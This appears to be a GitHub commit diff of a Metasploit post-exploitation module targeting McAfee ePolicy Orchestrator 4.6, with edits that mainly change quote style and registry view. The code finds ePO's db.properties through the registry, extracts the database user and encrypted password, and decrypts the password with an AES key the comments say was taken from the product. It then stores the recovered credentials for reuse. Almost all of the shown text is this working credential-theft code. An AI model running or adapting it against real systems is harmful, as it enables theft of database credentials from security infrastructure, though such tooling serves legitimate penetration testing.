5
5
6
6
require 'msf/core'
7
7
require 'rex'
8
- require " net/dns/resolver"
8
+ require ' net/dns/resolver'
9
9
require 'msf/core/auxiliary/report'
10
10
11
11
class Metasploit3 < Msf ::Post
@@ -30,20 +30,20 @@ def initialize(info={})
30
30
31
31
def run
32
32
# Find out where things are installed
33
- print_status ( " Finding Tomcat install path..." )
34
- subkeys = registry_enumkeys ( " HKLM\\ Software\\ Network Associates\\ ePolicy Orchestrator" )
33
+ print_status ( ' Finding Tomcat install path...' )
34
+ subkeys = registry_enumkeys ( ' HKLM\Software\Network Associates\ePolicy Orchestrator' , REGISTRY_VIEW_32_BIT )
35
35
if subkeys . nil? or subkeys . empty?
36
- print_error ( " ePO 4.6 Not Installed or No Permissions to RegKey" )
36
+ print_error ( ' ePO 4.6 Not Installed or No Permissions to RegKey' )
37
37
return
38
38
end
39
39
# Get the db.properties file location
40
- epol_reg_key = " HKLM\\ Software\\ Network Associates\\ ePolicy Orchestrator"
41
- dbprops_file = registry_getvaldata ( epol_reg_key , " TomcatFolder" )
42
- if dbprops_file == nil or dbprops_file == ""
43
- print_error ( " Could not find db.properties file location" )
40
+ epol_reg_key = ' HKLM\Software\Network Associates\ePolicy Orchestrator'
41
+ dbprops_file = registry_getvaldata ( epol_reg_key , ' TomcatFolder' , REGISTRY_VIEW_32_BIT )
42
+ if dbprops_file == nil or dbprops_file == ''
43
+ print_error ( ' Could not find db.properties file location' )
44
44
else
45
- dbprops_file << " /conf/orion/db.properties" ;
46
- print_good ( " Found db.properties location" ) ;
45
+ dbprops_file << ' /conf/orion/db.properties' ;
46
+ print_good ( ' Found db.properties location' ) ;
47
47
process_config ( dbprops_file ) ;
48
48
end
49
49
end
@@ -57,39 +57,39 @@ def process_config(filename)
57
57
line . chomp
58
58
line_array = line . split ( '=' )
59
59
case line_array [ 0 ]
60
- when " db.database.name"
61
- database_name = ""
60
+ when ' db.database.name'
61
+ database_name = ''
62
62
line_array [ 1 ] . each_byte { |x | database_name << x unless x > 126 || x < 32 }
63
- when " db.instance.name"
64
- database_instance = ""
63
+ when ' db.instance.name'
64
+ database_instance = ''
65
65
line_array [ 1 ] . each_byte { |x | database_instance << x unless x > 126 || x < 32 }
66
- when " db.user.domain"
67
- user_domain = ""
66
+ when ' db.user.domain'
67
+ user_domain = ''
68
68
line_array [ 1 ] . each_byte { |x | user_domain << x unless x > 126 || x < 32 }
69
- when " db.user.name"
70
- user_name = ""
69
+ when ' db.user.name'
70
+ user_name = ''
71
71
line_array [ 1 ] . each_byte { |x | user_name << x unless x > 126 || x < 32 }
72
- when " db.port"
73
- port = ""
72
+ when ' db.port'
73
+ port = ''
74
74
line_array [ 1 ] . each_byte { |x | port << x unless x > 126 || x < 32 }
75
- when " db.user.passwd.encrypted.ex"
75
+ when ' db.user.passwd.encrypted.ex'
76
76
# ePO 4.6 encrypted password
77
- passwd = ""
77
+ passwd = ''
78
78
line_array [ 1 ] . each_byte { |x | passwd << x unless x > 126 || x < 32 }
79
- passwd . gsub ( " \\ " , "" )
79
+ passwd . gsub ( '\\' , '' )
80
80
# Add any Base64 padding that may have been stripped out
81
- passwd << "=" until ( passwd . length % 4 == 0 )
81
+ passwd << '=' until ( passwd . length % 4 == 0 )
82
82
plaintext_passwd = decrypt46 ( passwd )
83
- when " db.user.passwd.encrypted"
83
+ when ' db.user.passwd.encrypted'
84
84
# ePO 4.5 encrypted password - not currently supported, see notes below
85
- passwd = ""
85
+ passwd = ''
86
86
line_array [ 1 ] . each_byte { |x | passwd << x unless x > 126 || x < 32 }
87
- passwd . gsub ( " \\ " , "" )
87
+ passwd . gsub ( '\\' , '' )
88
88
# Add any Base64 padding that may have been stripped out
89
- passwd << "=" until ( passwd . length % 4 == 0 )
90
- plaintext_passwd = " PASSWORD NOT RECOVERED - ePO 4.5 DECRYPT SUPPORT IS WIP"
91
- when " db.server.name"
92
- database_server_name = ""
89
+ passwd << '=' until ( passwd . length % 4 == 0 )
90
+ plaintext_passwd = ' PASSWORD NOT RECOVERED - ePO 4.5 DECRYPT SUPPORT IS WIP'
91
+ when ' db.server.name'
92
+ database_server_name = ''
93
93
line_array [ 1 ] . each_byte { |x | database_server_name << x unless x > 126 || x < 32 }
94
94
end
95
95
end
@@ -98,7 +98,7 @@ def process_config(filename)
98
98
99
99
result = client . net . resolve . resolve_host ( database_server_name )
100
100
if result [ :ip ] . nil? or result [ :ip ] . empty?
101
- print_error ( " Could not determine IP of DB - credentials not added to report database" )
101
+ print_error ( ' Could not determine IP of DB - credentials not added to report database' )
102
102
return
103
103
end
104
104
@@ -111,11 +111,11 @@ def process_config(filename)
111
111
print_good ( "Database IP: #{ db_ip } " )
112
112
end
113
113
print_good ( "Port: #{ port } " )
114
- if user_domain == nil or user_domain == ""
115
- print_good ( " Authentication Type: SQL" ) ;
114
+ if user_domain == nil or user_domain == ''
115
+ print_good ( ' Authentication Type: SQL' ) ;
116
116
full_user = user_name
117
117
else
118
- print_good ( " Authentication Type: Domain" ) ;
118
+ print_good ( ' Authentication Type: Domain' ) ;
119
119
print_good ( "Domain: #{ user_domain } " ) ;
120
120
full_user = "#{ user_domain } \\ #{ user_name } "
121
121
end
@@ -127,8 +127,8 @@ def process_config(filename)
127
127
service_data = {
128
128
address : Rex ::Socket . getaddress ( db_ip ) ,
129
129
port : port ,
130
- protocol : " tcp" ,
131
- service_name : " mssql" ,
130
+ protocol : ' tcp' ,
131
+ service_name : ' mssql' ,
132
132
workspace_id : myworkspace_id
133
133
}
134
134
@@ -145,21 +145,21 @@ def process_config(filename)
145
145
146
146
login_data = {
147
147
core : credential_core ,
148
- access_level : " User" ,
148
+ access_level : ' User' ,
149
149
status : Metasploit ::Model ::Login ::Status ::UNTRIED
150
150
}
151
151
152
152
create_credential_login ( login_data . merge ( service_data ) )
153
- print_good ( " Added credentials to report database" )
153
+ print_good ( ' Added credentials to report database' )
154
154
else
155
- print_error ( " Could not determine IP of DB - credentials not added to report database" )
155
+ print_error ( ' Could not determine IP of DB - credentials not added to report database' )
156
156
end
157
157
end
158
158
159
159
160
160
def decrypt46 ( encoded )
161
161
encrypted_data = Rex ::Text . decode_base64 ( encoded )
162
- aes = OpenSSL ::Cipher ::Cipher . new ( " AES-128-ECB" )
162
+ aes = OpenSSL ::Cipher ::Cipher . new ( ' AES-128-ECB' )
163
163
aes . padding = 0
164
164
aes . decrypt
165
165
# Private key extracted from ePO 4.6.0 Build 1029
@@ -172,6 +172,5 @@ def decrypt46(encoded)
172
172
password . gsub! ( /[^[:print:]]/ , '' )
173
173
return password
174
174
end
175
-
176
-
177
175
end
176
+
0 commit comments